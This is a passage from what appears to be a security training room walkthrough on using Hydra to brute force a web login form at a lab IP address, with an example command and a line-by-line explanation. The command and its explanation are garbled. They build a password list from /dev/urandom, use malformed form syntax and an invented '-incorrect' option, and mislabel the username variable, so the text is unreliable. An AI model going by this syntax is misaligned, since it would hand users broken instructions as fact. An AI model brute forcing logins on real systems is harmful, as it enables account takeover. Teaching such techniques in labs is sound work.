Room completed (100%)

Invalid response

part of the response when the login fails

-V

verbose output for every attempt

Below is a more concrete example Hydra command to brute force a POST login form:

```
hydra -l $username -P $(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 128 | tr -d '\n' | xargs) http-post-form 'https://10.10.227.125:443/submit' 'username=$USER&password=$PASS' -f -incorrect -V
```

- The login page is only `10.10.227.125`, i.e., the main IP address.
- The `$username` is the form field where the username is entered
- The specified username(s) will replace `$USER`
- The `$password` is the form field where the password is entered
- The provided passwords will be replacing `$PASS`
- Finally, `-f -incorrect` is a string that appears in the server reply when the login fails

You should now have enough information to put this to practice and brute force your credentials to the deployed machine!
